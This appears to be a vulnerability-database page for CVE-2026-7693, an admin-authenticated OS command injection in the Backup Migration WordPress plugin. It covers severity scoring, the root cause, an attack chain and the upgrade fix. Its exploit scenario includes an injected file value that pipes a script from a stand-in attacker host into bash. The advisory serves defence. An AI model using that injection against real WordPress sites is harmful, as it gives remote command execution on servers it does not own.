Skip to main content

Backup Migration EUVDEUVD-2026-53182

| CVE-2026-7693 HIGH
Command Injection (CWE-77)
2026-08-05 Wordfence GHSA-982q-x59v-3xjj
7.2
CVSS 3.1 · Vendor: Wordfence
Share

Severity by source

Vendor (Wordfence) PRIMARY
7.2 HIGH
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
vuln.today AI
7.2 HIGH

AV:N because the AJAX handler is remotely invocable; PR:H because Administrator or do_backups capability is a hard prerequisite; S:U because command execution is bounded to the web-server user with no cross-scope pivot described.

3.1 AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (Wordfence).

CVSS VectorVendor: Wordfence

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Analysis Generated
Aug 05, 2026 - 07:49 vuln.today
CVE Published
Aug 05, 2026 - 06:37 cve.org
HIGH 7.2

DescriptionCVE.org

The Backup Migration plugin for WordPress is vulnerable to OS Command Injection in all versions up to, and including, 2.1.5.1 due to insufficient sanitization of the file POST parameter on the restoreBackup() AJAX handler. The handler applies esc_attr() - an HTML-context sanitizer that does not strip shell metacharacters - and concatenates the result, unquoted, into a php-cli -f … bmi_restore <file> <remote> command passed to exec(). This makes it possible for authenticated attackers, with Administrator-level access (or any user granted the plugin's do_backups capability) and above, to execute arbitrary OS commands as the web-server user, bypassing WordPress hardening constants such as DISALLOW_FILE_EDIT and DISALLOW_FILE_MODS that would otherwise prevent code execution from the admin UI. This is an incomplete fix of CVE-2023-7002, which patched the same pattern only in the $_POST['url'] path of handleQuickMigration(); the equivalent mitigations (rawurlencode() + explicit shell-metachar replacement + double-quoting in exec()) were never applied to $backupName.

AnalysisAI

OS command injection in the Backup Migration WordPress plugin (all versions through 2.1.5.1) allows authenticated attackers holding Administrator-level access - or any user granted the plugin's custom do_backups capability - to execute arbitrary operating-system commands as the web-server user. The flaw stems from misuse of esc_attr(), an HTML sanitizer, as a shell sanitizer in the restoreBackup() AJAX handler, enabling shell metacharacter injection into an exec() call. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Compromise WordPress admin credentials
Delivery
Authenticate to WordPress admin session
Exploit
POST crafted `file` parameter with shell metacharacters to restoreBackup() handler
Execution
esc_attr() fails to strip metacharacters from payload
Persist
exec() executes injected OS command as web-server user
Impact
Achieve arbitrary command execution on host

Vulnerability AssessmentAI

Exploitation Exploitation requires an authenticated session with WordPress Administrator-level privileges OR any user account that has been explicitly granted the plugin's custom `do_backups` capability. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 3.1 score of 7.2 (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H) accurately characterizes a high-severity but access-gated vulnerability. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker who has obtained valid WordPress administrator credentials - through credential stuffing, phishing, or lateral movement from a compromised account - sends a crafted POST request to the site's `wp-admin/admin-ajax.php` endpoint targeting the `restoreBackup()` handler, with the `file` parameter set to a value such as `valid_backup.zip; curl http://attacker.com/shell.sh | bash`. Because `esc_attr()` does not strip the semicolon or pipe, `exec()` executes the injected command chain as the web-server user (e.g., `www-data`), granting remote OS access even on hardened WordPress instances with `DISALLOW_FILE_EDIT` and `DISALLOW_FILE_MODS` defined.
Remediation Upgrade to Backup Migration version 2.1.5.2, which is confirmed by the WordPress plugin changeset at https://plugins.trac.wordpress.org/changeset?new=3540041%40backup-backup%2Ftags%2F2.1.5.2&old=3512153%40backup-backup%2Ftags%2F2.1.5.1; note that the fix version is inferred from this upstream commit changeset and has not been independently confirmed via a separate vendor security advisory. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, immediately audit all user accounts granted Administrator role and the 'do_backups' capability, restrict plugin access to only essential personnel, and review backup restoration logs for anomalous activity. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

Share

EUVD-2026-53182 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy